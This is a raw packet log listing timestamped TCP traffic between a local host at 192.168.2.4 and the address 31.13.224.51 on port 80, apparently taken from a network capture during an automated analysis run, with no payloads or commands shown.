Oct 8, 2024 02:39:01.899652958 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.900398016 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.900448084 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.900496006 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.900742054 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.900803089 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.900835037 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.900846958 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.900880098 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.900913000 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.900932074 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.901751041 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.901803970 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.901899099 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.901932001 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.901973963 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.902051926 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.902084112 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.902116060 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.902127981 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.902149916 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.902193069 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.902760029 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.902848959 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.902892113 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.902898073 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.902930975 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.902961969 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.902971029 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.902996063 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.903039932 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.903518915 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.903569937 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.903603077 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.903611898 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.903716087 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.903747082 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.903759003 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.903779030 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.903810978 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.903819084 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.903845072 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.903887033 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.904515982 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.904547930 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.904582024 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.904592037 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.904630899 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.904663086 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.904673100 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.904695034 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.904731035 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.904737949 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.957317114 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.983515024 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.983587980 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.983623028 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.983635902 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.983654976 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.983689070 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.983696938 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.983722925 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.983774900 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.983808041 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.983808994 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.983840942 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.983844995 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.983872890 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.983906031 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.983915091 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.983938932 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.983973026 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.983987093 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.984004974 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.984038115 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.984051943 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.984091997 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.984133005 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.984133959 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.984164000 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.984198093 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.984205008 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.984230042 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.984261990 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.984271049 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.984293938 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.984325886 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.984337091 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.984359980 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.984404087 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.984524012 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.984555960 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.984587908 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.984596968 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.984620094 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.984652996 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.984663010 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.984684944 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.984720945 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.984754086 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.984972954 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.985003948 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.985014915 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.985035896 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.985068083 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.985078096 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.985100031 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.985131979 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.985140085 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.985163927 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.985196114 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.985204935 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.985228062 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.985260963 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.985269070 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.985665083 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.985697031 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.985707045 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.985730886 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.985763073 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.985773087 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.985795975 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.985827923 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.985836029 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.985858917 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.985892057 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.985899925 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.985924006 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.985954046 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.985964060 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.985986948 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.986032963 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.986243010 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.986274958 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.986308098 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.986315012 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.986340046 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.986371994 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.986382008 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.986409903 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.986449957 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.986622095 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.986654043 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.986685038 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.986696005 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.986721039 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.986753941 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.986767054 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.986785889 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.986819983 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.986825943 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.987104893 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.987126112 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.987140894 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.987140894 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.987154961 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.987169981 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.987184048 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.987185001 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.987198114 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.987211943 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.987211943 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.987226009 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.987230062 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.987241030 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.987267017 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.987653017 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.987668037 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.987680912 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.987693071 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.987695932 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.987709999 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.987723112 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.987725019 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.987739086 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.987740993 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.987752914 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.987766981 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.987780094 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.987781048 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.987796068 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.987797976 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.987833977 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.988250017 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.988264084 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.988279104 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.988292933 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.988303900 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.988307953 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.988323927 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.988331079 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.988360882 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.988629103 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.988642931 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.988656998 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.988671064 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.988682985 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.988686085 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.988701105 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.988713980 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.988715887 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.988729954 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.989000082 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.989015102 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.989028931 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.989042044 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.989042044 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.989062071 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.035413027 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.074754000 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.074814081 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.074850082 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.074882984 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.074915886 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.074948072 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.074999094 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.075000048 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.075000048 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.075000048 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.075031996 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.075066090 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.075074911 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.075097084 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.075129986 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.075145960 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.075192928 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.075226068 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.075236082 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.075257063 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.075289011 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.075301886 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.075320959 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.075360060 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.075362921 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.075428009 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.075465918 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.075472116 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.075498104 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.075531960 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.075544119 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.075563908 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.075596094 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.075608015 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.075628042 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.075661898 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.075669050 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.075695992 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.075737953 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.075819969 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.075855017 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.075901985 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.076113939 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.076144934 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.076178074 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.076194048 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.076209068 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.076241016 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.076251030 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.076272964 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.076304913 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.076317072 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.076338053 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.076380014 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.076457977 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.076705933 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.076738119 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.076756001 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.076769114 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.076801062 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.076811075 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.076852083 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.076880932 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.076891899 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.076894045 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.076908112 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.076921940 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.076936960 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.076939106 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.076951027 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.076957941 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.076966047 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.076982021 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.076992035 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.077019930 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.077430964 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.077445984 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.077460051 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.077476025 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.077486038 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.077510118 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.077614069 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.077630043 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.077642918 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.077657938 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.077670097 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.077702999 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.077709913 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.077724934 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.077739954 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.077754974 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.077763081 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.077768087 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.077786922 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.081490040 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.081505060 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.081521034 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.081571102 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.081598997 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.081674099 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.081690073 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.081732035 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.081830978 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.081845999 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.081860065 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.081873894 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.081888914 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.081890106 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.081907988 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.081989050 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.082004070 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.082027912 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.082149982 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.082165003 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.082180023 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.082187891 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.082217932 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.082304001 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.082318068 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.082330942 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.082354069 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.082474947 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.082489967 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.082516909 CEST	49730	80	192.168.2.4	31.13.224.51
